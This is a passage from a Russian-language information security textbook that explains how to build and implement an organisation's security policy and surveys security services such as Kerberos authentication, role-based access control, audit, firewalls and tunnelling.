Потеряет ли организация клиентов, если безопасность интранета будет обеспечена недостаточно серьезно или если она будет обеспечена настолько серьезно, что это затруднит выполнение ими их обычных обязанностей?
Сколько времени простоя или какие материальные потери уже принесли нарушения безопасности сети в прошлом?
Обеспокоена ли организация угрозами внутренних пользователей? Может ли она доверять своим пользователям?
Сколько конфиденциальной информации находится в интерактивном режиме доступа (on-line)? Каковы предполагаемые потери организации, если эта информация будет скомпрометирована или украдена?
Нужны ли организации различные уровни безопасности для разных подразделений и категорий пользователей?
Какова конфигурация интранета и отдельных хостов (компьютеров с уникальными адресами, выполняющих функции по централизации работы сети) организации? Поддерживаются ли опасные сетевые сервисы (типа сетевой файловой системы NFS, команды rlogin и т. д.)? Нужны ли выделенные хосты для поддержания основного профиля безопасности всего интранета?
Существуют ли в организации руководящие принципы, регламентирующие безопасность, инструкции или законы, которые требуется выполнять? Если да, то следуют ли этим руководящим принципам и правилам в организации?
Имеют ли требования области деятельности организации приоритет над требованиями безопасности при их несоответствии? Если да, то поощряется ли такой подход в организации?
Насколько важны конфиденциальность, целостность и доступность информации для полноценной работы организации?
Являются ли решения, которые принимаются в организации, соответствующими потребностям ее области деятельности и ее экономическому положению?
Еще один важный момент - каков будет вид представления и состав документации. определяющей ПБ. ПБ может быть описана в одном большом или нескольких небольших документах (в России основной документ получил название "Концепция политики ИБ"). Небольшие документы иногда предпочтительнее, так как их проще при необходимости обновлять. Для организаций небольшого размера, конечно же. легче изложить всю ПБ в одном документе.
После ответа на все эти вопросы определяется само содержание ПБ.
5.5.5. Содержание политики безопасности
Общепризнанным стандартом при создании комплексной ПБ компании является рассмотренный выше (п. 5.4.2) международный стандарт управления ИБ ISO 17799. Для создания и проверки ПБ на соответствие стандарту предназначены, например, британская система Cobra компании С&А Systems Security Ltd [http://www.risk
5. Обеспечение информационной безопасности в открытых системах
419
world.net/purchase.htm] и российская система КОНДОР+ компании Digital Security [http://www.dsec.ru/soft/kondor.php].
Основу ПБ составляет способ управления доступом, определяющий порядок доступа субъектов системы к объектам системы. Название этого способа, как правило, определяет название ПБ.
Обычно ПБ, согласно данному в NIST "Computer Security Handbook" описанию, должна включать в себя следующие части.
Предмет ПБ. Перед описанием самой ПБ в данной области нужно сначала определить саму область с помощью ограничений и условий в понятных всем терминах (или ввести некоторые из терминов). Часто полезно явно указать цель или причины разработки политики. Если, например, говорить о ПБ при подключении организации к Интернету, то может понадобиться уточнение, какие соединения, через которые ведется работа с Интернетом (напрямую или опосредованно), охватывает эта политика. ПБ также может определять, учитываются ли другие аспекты работы в Интернете, не имеющие отношения к безопасности, такие, как персональное использование соединений с Интернетом.
Типовыми являются следующие цели:
	обеспечение уровня безопасности, соответствующего нормативным документам предприятия;
	достижение экономической целесообразности в выборе защитных мер;
	обеспечение соответствующего уровня безопасности в конкретных функциональных областях;
	реализация подотчетности анализа регистрационной информации и всех действий пользователей с информационными ресурсами;
	выработка планов восстановления после критических ситуаций и обеспечения непрерывной работы интранета и др.
Описание позиции организации. Как только описан предмет ПБ, даны определения основных понятий и рассмотрены условия ее применения, в явной форме описывается позиция организации (т. е. решение ее руководства) по данному вопросу.
Применимость. Это означает, что надо уточнить где, как, когда, кем и к чему применяется данная ПБ, т. е. перечисляются все пользователи и ресурсы, которых эта ПБ касается.
Роли и обязанности. Нужно указать ответственных лиц и их обязанности в отношении разработки и внедрения различных аспектов ПБ, а также в случае нарушения ПБ.
Меры защиты. Перечисляются конкретные меры, реализующие ПБ в организации, дается обоснование выбора именно такого перечня мер защиты и указывается, какие угрозы безопасности интранета наиболее эффективно предотвращаются такими мерами защиты.
Соблюдение политики. Для ПБ может оказаться уместным описание, с некоторой степенью детальности, нарушений, которые неприемлемы, и последствий такого поведения. Могут быть явно описаны наказания, применяемые к нарушителям ПБ. Если к сотрудникам применяются наказания, то это нужно согласовывать с соответствующими должностными лицами и отделами. Также полезно поставить задачу конкретному подразделению организации следить за соблюдением ПБ.
420
Информационная безопасность открытых систем
Ответственные, или консультанты, по вопросам безопасности и справочная информация. Для любой ПБ нужны консультанты, с кем можно связаться в случае необходимости и получить квалифицированную помощь по вопросам безопасности. Можно назначить сотрудника, занимающего конкретную должность как консультанта. Например, по некоторым вопросам консультантом может быть один из менеджеров, по другим - начальник отдела, сотрудник технического отдела, системный администратор или сотрудник службы безопасности. Они должны уметь разъяснять ПБ и правила работы на конкретной системе. В их обязанности входит ознакомление всех новых служащих организации с ПБ при поступлении на работу и сообщение об изменениях в этой ПБ по мере их внесения. Также должно вестись обучение всех сотрудников основным вопросам обеспечения безопасности, а администратор и сотрудники отдела безопасности организации должны регулярно проходить переподготовку с целью повышения квалификации в специальных учебных центрах (на базе специализирующихся в этих вопросах учебных заведений.)
Как уже было отмечено выше, единая ПБ интранета может складываться из нескольких политик, определяющих правила защиты отдельных ее подсистем и ресурсов. Некоторые политики подходят для всех узлов интранета, другие специфичны для определенных сред. Различают четыре основные ПБ, которые должны быть определены для каждого устройства в интранете (например, компьютера), если оно вовлечено в процесс работы с конфиденциальной информацией:
1)	допустуимого использования;
2)	учетных записей (или бюджетов) пользователей;
3)	удаленного доступа;
4)	для конфиденциальной информации.
Рассмотрим эти политики более детально.
ПБ допустимого использования определяет надлежащее использование вычислительных ресурсов: четко оговаривается, какие действия разрешены, а какие запрещены. От пользователей часто требуется прочесть документ, регламентирующий данную ПБ, и расписаться в соответствующем журнале перед получением идентификатора и пароля для работы в интранете и определением пространства для хранения их информации (т. е. перед предоставлением пользователю его учетной записи).
Выделим некоторые общие элементы политики допустимого использования. Эта политика должна определять:
	ответственность пользователей в терминах защиты информации, хранимой в их учетной записи;
	могут ли пользователи читать и копировать файлы, которые не являются их собственностью, но доступны им;
	могут ли пользователи изменять файлы, которые не являются их собственностью, но к которым они имеют доступ для записи;
	позволено ли пользователям делать копии системных файлов конфигурации (например, /etc/passwd) для своего персонального использования или для передачи другим людям;
	могут ли пользователи делать копии лицензионного ПО;
	позволено ли пользователям применять файл .rhosts и какие типы доступа разрешены;
	могут ли пользователи разделять (совместно использовать) учетные записи;
5. Обеспечение информационной безопасности в открытых системах
421
	уровень приемлемого использования электронной почты, телеконференций Интернета и доступа к WWW.
Реальные примеры политик можно найти в Интернете по адресу http://www.eff.org/ pub/CAF/policies/. По этому адресу расположен архив "Computers and Academic Freedom" (CAF), содержащий коллекцию политик защиты компьютеров многих учебных заведений и сетей, а также критические замечания для некоторых из этих политик. Политики допустимого использования придерживаются, например, такие организации США, как Corporation for Research and Educational Networking (CREN), ANS (организация, занимающаяся проведением исследовательских работ и обучением), университеты Berkeley, Cornell и Buffalo, CAPCON (организация, предоставляющая доступ dial-up к Интернету для библиотек и других учреждений), Committee on Institutional Cooperation.
Подробный текст политики допустимого использования ресурсов интранета приведен в прил. 4.
ПБ учетных записей (бюджетов) пользователей определяет требования для предоставления и поддержания бюджетов в системах. Эта политика очень важна для больших узлов, где пользователи обычно имеют бюджеты сразу в нескольких системах. Некоторые из этих узлов доступны пользователям, ознакомившимся с ПБ и подписавшимся под ней при запросе на предоставление бюджета.
Политика бюджетов пользователей должна определять:
•	кто имеет полномочия на решение вопроса о предоставлении бюджета конкретному пользователю;
	кому позволено использовать ресурсы (например, только служащим или только студентам);
	любые требования по приоритетному доступу или резидентной работе;
	позволено ли пользователям разделять бюджеты или иметь несколько бюджетов на одном компьютере;
	правила составления паролей и время их действия;
	права и обязанности пользователей;
	когда бюджет признается недействительным (т. е. его владелец лишается определенных прав доступа) и попадает в архив;
	как долго созданная учетная запись может оставаться неактивной прежде, чем ее признают недействительной.
Примеры таких политик также доступны в архиве CAF http://www.eff.org/pub/ CAF/policies/. Этой политики придерживаются, например, в государственном университете Mankato (Minnesota), университете Rice и университете Вашингтона.
ПБ удаленного доступа выделяет и определяет разрешенные методы удаленного соединения с интранетом. Эта политика необходима в большой организации, где сети географически рассредоточены и даже могут быть соединены с домашними ПК служащих. Такая политика должна учитывать все доступные методы дистанционно обращаться к внутренним ресурсам: через сервер удаленного доступа (по протоколам SLIP, PPP); ISDN/Frame Relay/X.25; доступ по протоколу Telnet из Интернета; доступ по телефонной линии на основе обычного модема; доступ посредством кабельного модема; прямое подключение; подключение к виртуальной частной сети.
422
Информационная безопасность открытых систем
Политика УД должна определять:
	кому позволено иметь УД;
	какие методы разрешены для УД;
	разрешены ли модемы для доступа dial-out;
	кому позволено иметь высокоскоростной УД типа ISDN, Frame Relay и кабельных модемов и есть ли при этом какие-либо дополнительные требования;
	любые ограничения на данные, к которым можно обращаться удаленно;
	требования и методы подключения при наличии организаций-партнеров;
	могут ли члены семьи сотрудников организации использовать УД для подключения через интранет, например, к Интернету.
Полный текст политики УД приведен в прил. 4.
ПБ для конфиденциальной информации определяет поведение пользователя при обработке, хранении и передаче конфиденциальной информации в зависимости от степени ее секретности. Главная цель такой ПБ состоит в том, чтобы гарантировать, что информация соответствующим образом защищена от модификации или раскрытия.
Политика для конфиденциальной информации должна определять:
	кто может иметь доступ к конфиденциальной информации вообще и при особых обстоятельствах;
	правила составления паролей и время их действия;
	в каких системах может храниться и обрабатываться конфиденциальная информация;
	информация какой степени секретности может быть распечатана на физически незащищенных принтерах;
	как конфиденциальная информация удаляется из систем и запоминающих устройств (например, размагничиванием носителей данных, чисткой жестких дисков, резкой бумажных копий);
	любые установки по умолчанию для файлов и каталогов, определяемые в системных файлах конфигурации.
Эта и еще ряд интересных примеров политик безопасности приведены в прил. 4.
5,5.6.	Реализация политики безопа сности
С наибольшими трудностями приходится сталкиваться на этапе внедрения ПБ, который, как правило, связан с необходимостью решения технических, организационных и дисциплинарных проблем. Часть пользователей может сознательно либо бессознательно сопротивляться введению новых правил поведения, которым теперь необходимо следовать, а также программно-технических механизмов защиты информации, в той или иной степени неизбежно ограничивающих свободный доступ к информации. Администраторов интранета может раздражать необходимость выполнения требований ПБ, усложняющих задачи администрирования. Помимо этого, могут возникать и чисто технические проблемы, связанные, например, с отсутствием в используемом ПО функциональности, необходимой для реализации отдельных положений ПБ.
На этапе внедрения необходимо не просто довести содержание ПБ до сведения всех сотрудников организации, но также провести обучение и дать необходимые разъяснения сомневающимся, которые пытаются обойти новые правила и продолжать работать по-старому.
5. Обеспечение информационной безопасности в открытых системах	423
Чтобы внедрение завершилось успешно, должна быть создана проектная группа по внедрению ПБ, действующая по согласованному плану в соответствии с установленными сроками выполнения работ.
Первая версия ПБ обычно не в полной мере отвечает потребностям организации, однако понимание этого приходит с опытом. Скорее всего, после наблюдения за процессом внедрения ПБ и оценки эффективности ее применения потребуется осуществить ряд доработок. В дополнение к этому используемые технологии и организация бизнес-процессов непрерывно изменяются, что приводит к необходимости корректировать существующие подходы к обеспечению ИБ. В большинстве случаев ежегодный пересмотр ПБ является нормой, которая устанавливается самой политикой, что подразумевает:
	обновление политики и ДМ3 безопасности, если это необходимо;
	проверку совместимости политики и ДМ3 с существующей сетевой средой;
	разработку новых и удаление старых правил политики и М3 по мере необходимости.
Важность политики безопасности можно продемонстрировать, например, на основе подхода, которого придерживается фирма Cisco Systems. Этот подход называется "колесо безопасности" (Security Wheel). Он наглядно отражает постоянную динамику процесса управления безопасностью (рис. 52).
Рис. 52. "Колесо безопасности"
Защита подразумевает установку средств обеспечения безопасности (МЭ, систем идентификации и аутентификации), организацию виртуальных частных сетей и т. п.
Мониторинг интранета на наличие нарушений установленной ПБ в режиме реального времени с помощью систем обнаружения вторжений может являться индикатором того, насколько корректно на предыдущем этапе были настроены средства обеспечения безопасности.
Тестирование (аудит) эффективности используемых средств защиты. Для этого применяются сканеры безопасности, которые определяют, насколько текущее состояние дел соответствует правилам и процедурам, составляющим основу "колеса безопасности".
Улучшение (подстройка) ПБ - для этого собирается и анализируется информация этапов мониторинга и тестирования и выявляются новые риски и уязвимости.
Круглая форма "колеса безопасности" отражает его сущность — постоянное, циклическое совершенствование и уточнение политики безопасности. В основе этого подхода лежат пять базовых принципов:
1)	разработка жесткой политики безопасности;
2)	обеспечение защиты сети и ее ресурсов;
424
Информационная безопасность открытых систем
3)	мониторинг сети, обнаружение атак и ответные действия;
4)	тестирование существующих механизмов обеспечения безопасности;
5)	управление и корректирование политики безопасности.
При этом результаты, получаемые на этапах со второго по пятый, всегда сравниваются с первоначальной политикой безопасности, разработанной на первом шаге, чтобы убедиться, что выполняются все "высокоуровневые" задачи по защите и обеспечению безопасности.
5.5.7.	Аудит за проведением политики безопасности
Соблюдение положений ПБ должно являться обязательным для всех сотрудников организации и должно непрерывно контролироваться. Рассмотрение различных форм и методов контроля, позволяющих оперативно выявлять нарушения безопасности и своевременно реагировать на них. Проведение планового аудита безопасности является одним из основных методов контроля работоспособности ПБ, позволяющего оценить эффективность внедрения. Результаты аудита могут служить основанием для пересмотра некоторых положений ПБ и внесения в них необходимых корректировок.
Контроль выполнения правил ПБ может осуществляться путем проведения плановых проверок в рамках мероприятий по аудиту ИБ.
В организации должны быть предусмотрены меры по реагированию на нарушение правил ПБ. Эти меры должны предусматривать оповещение об инциденте, реагирование, процедуры восстановления, механизмы сбора доказательств, проведения расследования и привлечения нарушителя к ответственности. Система мер по реагированию на инциденты должна быть скоординирована между ИТ-департаментом, службой безопасности и службой персонала.
Политики должны по возможности носить не рекомендательный, а обязательный характер. Ответственность за нарушение политики должна быть четко определена. За нарушение ПБ должны быть предусмотрены конкретные дисциплинарные, административные взыскания и материальная ответственность.
5.6. Сервисы безопасности
Обеспечение безопасности открытых систем представляет собой комплексную многоуровневую и многоплановую задачу. Она подразделяется на направления, которые различаются между собой по объектам защиты, характеру угроз, способам противодействия им и критериям оценки эффективности систем безопасности.
Отдельно остановимся на современных сервисах безопасности [88]. Какими бы мощными и стойкими они ни были, сами по себе они не могут гарантировать надежность программно-технического уровня защиты. Только единая архитектура безопасности способна сделать эффективным объединение этих сервисов, обеспечить управляемость ИС, ее способность развиваться и противостоять новым угрозам ИБ.
Сервисы безопасности должны обеспечивать четыре уровня защиты:
1)	предотвращение, или профилактика, - только авторизованный персонал имеет доступ к информации, ресурсам и процессам;
2)	обнаружение и регистрация - обеспечивается раннее обнаружение преступлений и злоупотреблений, даже если механизмы защиты были обойдены;
5. Обеспечение информационной безопасности в открытых системах
425
3)	ограничение - уменьшается размер потерь, если преступление все-таки произошло, несмотря на меры по его предотвращению и обнаружению;
4)	восстановление - обеспечивается эффективное восстановление всех сетевых ресурсов при наличии документированных и проверенных планов по восстановлению.
К необходимому минимуму для защиты интранета следует отнести реализацию сервисов безопасности на сетевом и транспортном уровнях стека протоколов TCP/IP и поддержку механизмов аутентификации, устойчивых к сетевым угрозам.
Для сервисов безопасности должен соблюдаться принцип простоты их использования. Он нацелен на то, чтобы сделать работу сервисов безопасности прозрачной для пользователей. Полностью добиться этого, конечно, невозможно (например, без аутентификации с участием пользователя не обойтись), но некий порог сложности превышать нельзя. Пользователи - самое слабое звено любой системы, и чем меньше они должны (и могут) сделать, тем лучше. Важность этого принципа доказана всем ходом развития информационных технологий, кризисами программирования, неудачами при создании больших систем. В полной мере принцип относится и к подсистеме безопасности, причем на всех уровнях — от реализации отдельных функций до объединения сервисов. Следует стремиться к минимизации числа связей между компонентами ИС, поскольку именно оно определяет сложность. Вообще говоря, с принципом простоты конфликтует необходимость внесения в систему определенной избыточности, обеспечивающей устойчивость по отношению к сбоям и отказам. По целому ряду причин реальная защита ресурсов интранет оказывается результатом многочисленных компромиссов.
Ответим на два важных вопроса: как объединить сервисы безопасности для создания эшелонированной обороны и каково их место в общей архитектуре ИС. На внешнем рубеже располагаются средства выявления злоумышленной активности и контроля защищенности. Далее идут МЭ, защищающие внешние подключения. Они вместе со средствами поддержки виртуальных частных сетей образуют периметр безопасности, отделяющий корпоративную ИС от внешнего мира. Для быстрого обнаружения атак, даже уже успешно прошедших, сервис активного аудита должен присутствовать во всех критически важных компонентах, и в частности в защитных. Управление доступом также должно присутствовать на всех сервисах. Доступу должна предшествовать идентификация и аутентификация субъектов. Криптографические средства целесообразно выносить на специальные шлюзы, которыми управляет квалифицированный администратор. Применение криптографии пользователями лучше минимизировать. Последний рубеж образуют средства пассивного аудита, помогающие оценить последствия нарушения безопасности, найти виновного, выяснить, почему успех атаки стал возможным.
Расположение средств обеспечения высокой доступности определяется критичностью соответствующих сервисов или их компонентов.
5.6.1.	ИДЕНТИФИКАЦИЯ/АУТЕНТИФИКАЦИЯ
Данная функция обеспечивает аутентификацию партнеров по общению и аутентификацию источника данных. Аутентификация партнеров по общению используется при установлении соединения или иногда периодически во время сеанса. Она служит для предотвращения таких угроз, как спуффинг, или "маскарад", и повтор пре
426
Информационная безопасность открытых систем
дыдущего сеанса связи. Аутентификация источника данных - это подтверждение подлинности источника отдельной порции данных. Аутентификация бывает односторонней, когда клиент обычно доказывает свою подлинность серверу, и двусторонней, или взаимной.
Современные средства идентификации/аутентификации должны удовлетворять двум условиям: быть устойчивыми к сетевым угрозам (пассивному и активному прослушиванию сети) и поддерживать концепцию единого входа в сеть (так называемые системы с однократной регистрацией — от англ. Single Sign-On, SSO).
Первое требование можно выполнить, используя криптографические методы. В настоящее время общепринятыми являются подходы, основанные на системе Kerberos или службе каталогов с сертификатами в стандарте Х.509.
Начиная с Windows 2000 в ОС Microsoft поддерживается Kerberos [93] - открытый протокол аутентификации (определен в RFC 1510, выпущенном Internet Engineering Task Force), при помощи которого компьютер, собирающийся установить связь с другим компьютером, может подтвердить свою "личность". После подтверждения Kerberos снабжает оба компьютера ключами шифрования для проведения защищенного сеанса связи. Аутентификация с помощью Kerberos представляет собой трехсторонний процесс, в котором роль посредника выполняет сервис под названием Key Distribution Center (KDC), подтверждающий личность компьютера по запросу другого компьютера и поставляющий ключи для установления между ними защищенного соединения. Каждый из компьютеров, участвующих в сеансе связи, "делит секрет" с KDC, который состоит из двух компонентов: сервера аутентификации и сервера выдачи билетов. Если KDC получает запрос о неизвестном ему сервере назначения, он перенаправляет аутентификационную транзакцию на другой KDC, располагающий нужными сведениями.
Обмениваясь с клиентом серией шифрованных сообщений, называемых билетами, KDC генерирует новые ключи шифрования для каждого этапа процесса аутентификации. Он может успешно подтвердить личность одного компьютера по запросу другого, не выдавая секретных ключей ни одной из сторон и не требуя ни от одной из них постоянного хранения ключей доступа ко всем компьютерам, с которыми они когда-либо установят соединение. Билет действителен в течение заданного периода времени и может использоваться только одним определенным компьютером для подключения к другому определенному компьютеру. После выдачи билета клиент может использовать его для получения доступа к целевому серверу неограниченное число раз, но только в период действия билета. Ни клиент, ни кто-то другой не могут считать или модифицировать билет, не сделав его недействительным.
В Kerberos реализовано много полезных функций защиты, в том числе взаимная аутентификация и регистрация с помощью смарт-карт. Kerberos функционирует на многих платформах, так что его можно использовать для процедуры единой регистрации. Данный протокол поддерживает делегирование или переадресацию аутентификации.
Единый вход в сеть с однократной регистрацией (SSO) - это в первую очередь требование удобства для пользователей. Если в корпоративной сети много информационных сервисов, допускающих независимое обращение, то многократная иденти-фикация/аутентификация становится слишком обременительной. Благодаря системе SSO пользователь, лишь один раз пройдя процедуру регистрации, получает доступ
5. Обеспечение информационной безопасности в открытых системах
427
одновременно к ресурсам своей рабочей станции и всей сети согласно своим должностным обязанностям. Сопровождение многочисленных учетных записей и паролей для каждого пользователя увеличивает затраты и на системное администрирование. На многих предприятиях значительная часть времени системных администраторов тратится на решение задач, связанных с учетными записями и паролями, включая первоначальное создание пользовательских учетных записей при приеме пользователей на работу, удаление учетных записей при увольнении пользователей или изменении их ролей, переустановку паролей, когда они забываются. Наличие нескольких учетных записей у каждого пользователя увеличивает соответствующую нагрузку на системных администраторов. К сожалению, пока нельзя сказать, что SSO-системы стали нормой, доминирующие решения пока не сформировались.
Дополнительные удобства создает применение биометрических методов аутентификации, основанных на анализе отпечатков (точнее, результатов сканирования) пальцев. В отличие от специальных карт, которые нужно хранить, пальцы "всегда под рукой" (правда, под рукой должен быть и сканер). Подчеркнем, что и здесь защита от нарушения целостности и перехвата с последующим воспроизведением осуществляется методами криптографии.
Подробно вопросы аутентификации пользователей и сообщений в открытых системах рассматриваются во второй части учебника. Есть также аутентификация хостов в интранете, которая уже упоминалась ранее и кратко рассмотрена в следующем параграфе.
5.6.2.	Разграничение доступа
Управление доступом обеспечивает защиту от несанкционированного использования ресурсов, доступных по сети. С традиционной точки зрения средства управления доступом позволяют специфицировать и контролировать действия, которые субъекты (пользователи и процессы) могут выполнять над объектами (информацией и другими компьютерными ресурсами).
Разграничение доступа, вероятно, является самой исследованной областью ИБ, особенно то, которое осуществляется по имени и паролю пользователя. Дискреционное и мандатное управление вошли во все теоретические курсы и критерии оценки. Доминируют они и на практике. Хотя в настоящее время разграничение доступа не всегда эффективно борется со злоумышленными пользователями. Современные ИС характеризуются чрезвычайной сложностью, и их внутренние ошибки представляют не меньшую опасность. Динамичность современной программной среды и сложность отдельных ее компонентов существенно сужают область применимости дискреционной модели управления доступом (называемой также моделью с произвольным управлением). При определении допустимости доступа важно не только (и не столько) то, кто обратился к объекту, но и то, какова семантика действия. Без привлечения семантики нельзя выявить "троянские" программы, противостоять которым произвольное управление доступом, как известно, не в состоянии. Новые модели управления доступом (например, модель "песочницы" в Java-технологии) также, к сожалению, не учитывают семантику программ, что является одной из основных причин выявляемых слабостей в системе безопасности. Активно развиваемое ролевое управление доступом (Role-Based Access Control, RBAC) (между пользователями и их привилегиями помещаются промежуточные сущности — роли, возможно несколько од
428
Информационная безопасность открытых систем
новременно для каждого пользователя) решает не столько проблемы безопасности, сколько улучшает управляемость систем (рис. 53).
Пользователь! Пользователь 2	 Пользователь N
Роль!	••• Роль К
Право доступа 1	Праводоступа2	Право доступа М
Рис. 53. Пользователи и роли
На основании этой модели можно реализовать такие важные принципы, как разделение обязанностей. Между ролями могут быть определены статические или динамические отношения несовместимости (невозможности одному субъекту одновременно или по очереди активизировать обе роли), что и обеспечивает требуемую защиту. Еще одна специфическая и методологически важная цель безопасности -организация иерархии ролей с наследованием прав доступа. Для некоторых сервисов типа WWW ролевое управление доступом может быть реализовано относительно просто (в случае WWW - на основе CGI-процедур).
В IP-сетях известно и разграничение доступа на основе IP-адреса, подсети или домена.
Отдельные документы или целые директории могут быть сделаны доступными только для браузеров, имеющих конкретный IP-адрес, либо принадлежащих к определенной подсети, либо принадлежащих к определенному домену. Ограничение доступа по IP-адресу эффективно против случайных попыток доступа, но не против злоумышленника, действующего целенаправленно. Существуют различные способы обхода такого рода ограничений. Имея необходимую аппаратуру и ПО, атакующий может подменять свой IP-адрес (атаки IP spoofing), имитируя соединение не с того места в сети, где действительно расположен его компьютер, а из какого-нибудь другого. Кроме того, нет никакой гарантии того, что человек, обращающийся к серверу с компьютера, доступ с которого разрешен, является именно тем человеком, которого имели в виду. Компьютер мог быть взломан и использован злоумышленником. Ограничения по сетевому адресу должны для надежности дополняться какими-нибудь проверками пользователя (его имени и пароля) или применением МЭ, способным определять и предотвращать попытки использования фиктивных IP-адресов на основе фильтрации. Проще всего перехватываются пакеты, приходящие из внешнего мира, но составленные так, как будто они посланы с компьютера локальной сети. Следует понимать, что если браузер настроен на использование прокси-сервера, то веб-сервер получит только IP-адрес представителя, но не той машины, на которой работает пользователь. Это значит, что при наличии прокси-сервера в домене, которому доверяют, любой человек может использовать его для доступа к другому серверу.
Ограничения доступа по имени компьютера или домена, обладающие теми же слабостями, которыми обладают и ограничения по IP-адресам, чувствительны, кроме того, к подмене имен DNS (DNS spoofing) - атаке, при которой сервер убеждают на время в том, что разрешенное имя соответствует другому (нужному злоумышленнику) IP-адресу. Для уменьшения подобного риска некоторые серверы могут быть настроены на дополнительную проверку имени DNS для каждого клиента. После пре
5. Обеспечение информационной безопасности в открытых системах
429
образования IP-адреса, с которого пришел запрос, в имя компьютера, сервер использует систему DNS для обратного преобразования имени в IP-адрес. Если два IP-адреса не совпадают, то доступ не предоставляется.
Для контроля доступа к серверам в интранете, кроме имен и паролей служащих организации, можно использовать выдаваемые им личные сертификаты (Personal Certificates) (например, они применяются при настройке протокола SSL для идентификации пользователя). Для этого необходимо установить соответствующий сервер сертификатов.
Механизмы управления доступом могут располагаться у любой из общающихся сторон или в промежуточной точке.
5.6.3.	Протоколирование и аудит
Формула "защищать, обнаруживать, реагировать" (protect, detect, react) является классической. Только эшелонированная, активная оборона, содержащая разнообразные элементы, дает шанс на успешное обнаружение и отражение атак.
Активный аудит дополняет идентификацию/аутентификацию и разграничение доступа. Подобное дополнение необходимо по двум причинам. Во-первых, существующие средства разграничения доступа не способны реализовать все требования ПБ, если последние имеют более сложный вид, чем разрешение-запрет атомарных операций с ресурсами. Развитая ПБ может накладывать ограничения на суммарный объем прочитанной информации, запрещать доступ ко второму ресурсу, если ранее имел место доступ к первому, и т. п. Во-вторых, в самих защитных средствах есть уязвимости.
Протоколирование/аудит традиционно являлись последним рубежом обороны, обеспечивающим анализ последствий нарушения ИБ и выявление злоумышленников. Такой аудит можно назвать пассивным. Обобщением пассивного аудита для сетевой среды является совместный анализ регистрационных журналов отдельных компонентов на предмет выявления противоречий, что важно в случаях, когда злоумышленнику удалось отключить протоколирование или модифицировать журналы. В современный арсенал защитных средств вошел активный аудит, направленный на выявление подозрительных (злоумышленных и/или аномальных) действий компонентов ИС в реальном масштабе времени с целью оперативного принятия ответных мер. Назначение активного аудита — обнаруживать и реагировать. Теперь такие средства стали первым и последним рубежом. К первому рубежу можно отнести также и сканеры безопасности, помогающие выявлять и устранять слабые места в защите. На последнем рубеже для обнаружения симптомов нарушений могут использоваться средства контроля целостности.
Активный аудит включает два вида действий:
 выявление нетипичного поведения (пользователей, программ или аппаратуры);
 выявление начала злоумышленной активности.
Нетипичное поведение выявляется статистическими методами, путем сопоставления с предварительно полученными образцами. Начало злоумышленной активности обнаруживается по совпадению с сигнатурами известных атак. За обнаружением следует заранее запрограммированная реакция (как минимум - информирование системного администратора, как максимум - контратака на систему предполагаемого злоумышленника).
430
Информационная безопасность открытых систем
Важным элементом современной трактовки протоколирования/аудита является протокол автоматизированного обмена информацией о нарушениях безопасности между корпоративными системами, подключенными к одной внешней сети. Работа над этим протоколом ведется под эгидой IETF.
5.6.4.	Экранирование
Экранирование как сервис безопасности выполняет такие функции, как:
	разграничение межсетевого доступа субъектов одной сети (фрагмента сети, автоматизированной системы) к объектам другой сети путем фильтрации передаваемых данных;
	контроль информационных потоков между сетями и преобразование передаваемых данных;
	иногда регистрация событий, связанных с процессами разграничения доступа, в частности фиксация всех "незаконных" попыток доступа к информации и, дополнительно, сигнализация о ситуациях, требующих немедленной реакции.
Информация, поступающая в МЭ, может предназначаться для фильтрации или для изменения параметров самого МЭ.
В качестве критериев анализа информационного потока могут использоваться следующие параметры:
	служебные поля пакетов сообщений, содержащие сетевые адреса, идентификаторы, адреса интерфейсов, номера портов и другие значимые данные;
	непосредственное содержимое пакетов сообщений, проверяемое, например на наличие компьютерных вирусов;
	внешние характеристики потока информации, например временные, частотные характеристики, объем данных и т. д.
Современные МЭ фильтруют данные на основе заранее заданной базы правил, что позволяет реализовывать гораздо более гибкую политику безопасности, чем в ОС. При комплексной фильтрации, охватывающей сетевой, транспортный и прикладной уровни, в правилах могут фигурировать сетевые адреса, количество переданных данных, операции прикладного уровня, параметры окружения (например, время) и т. п. МЭ классифицируются на основании уровней эталонной модели ВОС, на которых осуществляется фильтрация потоков данных.
В процессе фильтрации может выполняться дополнительный контроль (например, антивирусный). Возможны и дополнительные преобразования, наиболее актуальным из которых является исправление заголовков или иной служебной информации.
Преобразование передаваемых данных может затрагивать как служебные поля пакетов, так и прикладные данные. В первом случае обычно имеется в виду сетевая трансляция адресов (Network Address Translation, NAT), помогающая скрыть топологию защищаемой системы. Это уникальное свойство сервиса экранирования, позволяющее скрывать существование некоторых объектов доступа. Преобразование данных может состоять, например, в их шифровании.
МЭ может использоваться и для защиты отдельного компьютера. В этом случае МЭ устанавливается на защищаемый компьютер и называется персональным. Он контролирует весь исходящий и входящий трафик, независимо ото всех прочих системных защитных средств. При экранировании отдельного компьютера поддерживается доступность сетевых сервисов, но уменьшается или вообще ликвидируется на
5. Обеспечение информационной безопасности в открытых системах	431
грузка, порождаемая внешней активностью, в результате чего снижается уязвимость внутренних сервисов защищаемого компьютера.
(Подробно МЭ рассматриваются во второй части учебника.)
5.6.5.	Туннелирование
Туннелирование (tunneling), или инкапсуляция (encapsulation), - это метод решения задачи согласования сетей, который применим только для согласования транспортных протоколов и только при определенных ограничениях. Инкапсуляция может быть использована, когда две сети с одной транспортной технологией необходимо соединить через сеть, применяющую другую транспортную технологию (рис. 54) [85].
Рис. 54. Инкапсуляция протоколов сетевого уровня
Суть туннелирования как самостоятельного сервиса безопасности состоит в том, чтобы "упаковать" передаваемую порцию данных, вместе со служебными полями, в новый "конверт". Метод заключается в том, что пограничные маршрутизаторы, которые подключают объединяемые сети к транзитной, упаковывают пакеты транспортного протокола объединяемых сетей в пакеты транспортного протокола транзитной сети. Туннелирование может быть использовано для транспортных протоколов любого уровня. Например, протокол сетевого уровня Х.25 может быть инкапсулирован в протокол транспортного уровня TCP или же протокол сетевого уровня IP может быть инкапсулирован в протокол сетевого уровня Х.25. Для согласования сетей на сетевом уровне могут быть использованы многопротокольные и инкапсулирующие маршрутизаторы, а также программные и аппаратные шлюзы.
Данный сервис может применяться для нескольких целей:
	для осуществления перехода между сетями с разными протоколами (например, IPv4 и IPv6);
	обеспечения конфиденциальности и целостности всей передаваемой порции информации, включая служебные поля.
Обычно туннелирование приводит к более простым и быстрым решениям по сравнению с трансляцией, так как решает более частную задачу, не обеспечивая взаимодействия с узлами транзитной сети.
Туннелирование может применяться как на сетевом, так и на прикладном уровне. Например, стандартизовано туннелирование для IP и двойное конвертирование для почты Х.400.
Комбинация туннелирования и шифрования (с необходимой криптографической инфраструктурой) на выделенных шлюзах позволяет реализовать такое важное в со
432
Информационная безопасность открытых систем
